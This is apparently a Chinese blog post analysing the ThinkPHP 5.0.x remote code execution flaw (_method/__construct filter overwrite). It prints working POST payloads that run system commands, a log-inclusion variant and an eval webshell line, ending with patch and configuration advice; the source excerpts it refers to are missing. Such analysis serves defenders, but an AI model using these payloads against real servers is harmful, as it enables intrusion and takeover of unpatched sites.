ThinkPHP5 遠程代碼執行漏洞分析

前言

消息剛剛曝出來的時候還以爲自己能半天把漏洞給找出來,果然是太菜太年輕了,23333

漏洞分析

漏洞點

此次漏洞出現在ThinkPHP用於處理HTTP請求的Request類中,其中的method方法用於獲取當前的請求類型。

thinkphp/library/think/Request.php

var_method爲“表單僞裝變量”,可在application/config.php中定義:

該變量用於請求類型的僞裝,官方文檔如下:

由於沒有做任何過濾,我們可以通過控制_method參數的值來動態調用Request類中的任意方法,通過控制$_POST的值來向調用的方法傳遞參數。

來看一下Request類的構造方法:

thinkphp/library/think/Request.php

該方法將傳入的數組進行遍歷,如果數組的鍵名與類的屬性名相同,就將對應的值賦給類屬性。因此我們可以通過控制post參數來控制Request類的各種屬性。

漏洞觸發

漏洞點已經找到,那麼如何來觸發它呢?

5.0.0-5.0.12

payload:

POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

ThinkPHP在解析路由的過程中會調用Request類的method方法:

thinkphp/library/think/Route.php

具體調用流程如下:

此時我們已將類屬性成功賦值爲我們可控的值,接下來ThinkPHP會處理請求的參數,調用流程如下:

由於我們之前覆蓋了Request類的filer屬性,該屬性用來指定全局過濾函數,所以所有的http參數都會經過過濾函數。

thinkphp/library/think/Request.php

跟進filterValue函數:

可以看到在filterValue方法中調用了call_user_func成功執行了system函數。

5.0.13-5.0.23

在ThinkPHP 5.0.12之後的版本中,在thinkphp/library/think/App.php的module方法中增加了設置filter屬性的代碼:

這樣一來我們之前設置的filter屬性就會被重新覆蓋爲空,導致之前的payload失效,必須尋找新的觸發點。

我們回看上面的調用過程,發現Request類中的param方法也調用了method方法:

當method參數爲true時,會進入server方法,跟進看一下:

繼續跟進input方法:

可以看出Request類的server屬性是一個數組,並且是可控的,這裏input方法將key爲REQUEST_METHOD的成員取出來放入了filterValue方法。這裏我們需要找到調用Request類的param方法的地方來觸發漏洞。

開啓了debug模式

如果debug模式開啓,在thinkphp/library/think/App.php的run方法中會記錄路由和請求信息,此處調用了param方法。

由於此時還沒有執行到module方法,所以filter屬性仍是我們設置的值,沒有被重新賦值。

payload:

POST /tp5023/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

_method=__construct&filter[]=system&server[REQUEST_METHOD]=id

有直接路由到控制器類或者方法的路由規則

payload:

POST /tp5023/public/index.php/?s=captcha HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

根據前面的分析,我們知道之前的payload失效的原因是在thinkphp/library/think/App.php的module方法中增加了設置filter屬性的代碼,那麼我們可不可以不執行module方法而執行其他方法呢?

thinkphp/library/think/App.php

可以看到exec方法通過$dispatch['type']來決定調用哪個方法,在調用controller和method方法時都調用了Request類的param方法。現在來看一下$dispatch是從哪來的:

跟進routeCheck方法:

從配置文件中讀取了路由配置後導入,然後進入了Route類的check方法。

thinkphp/library/think/Route.php

這裏調用了我們熟悉的method方法,這裏就是我們進行變量覆蓋的地方,再來看一下method方法:

在我們覆蓋了類屬性之後,直接將method屬性返回了。獲取到method之後,會根據method的值到self::$rule中獲取相應的路由規則。

由於ThinkPHP有自動加載機制,在運行時會自動加載vendor目錄下的第三方庫。加載過程如下:

其中ThinkPHP完整版中有一個驗證碼的第三方庫,在被加載的時候會註冊一條路由規則,當我們訪問http://xxx/captcha時會路由到\think\captcha\CaptchaController的index方法。

vendor/topthink/think-captcha/src/helper.php

回到thinkphp/library/think/Route.php

ThinkPHP會解析這條路由規則,解析過程如下:

由於這條規則是直接路由到控制器類的方法,所以type爲method。

再回到thinkphp/library/think/App.php的exec方法,可以看到已經能夠執行param方法,達到了rce的目的。

漏洞防禦

  1. 線上環境建議關閉debug模式

  2. 升級到ThinkPHP 5.0.24

  3. 手動增加過濾,在thinkphp/library/think/Request.php添加如下代碼:

花式payload

漏洞出來之後師傅各顯神通,騷payload一個接一個。精力有限,沒法挨個分析,在這裏收集一下。

  • 5.1版本,需設置error_reporting(0);

    POST /tp5132/public/index.php HTTP/1.1
    Host: 127.0.0.1:8000
    Content-Type: application/x-www-form-urlencoded
    Cookie: XDEBUG_SESSION=PHPSTORM
    Content-Length: 28
    
    c=system&f=id&_method=filter
  • 利用文件包含

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
  • 利用其他變量傳參

    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章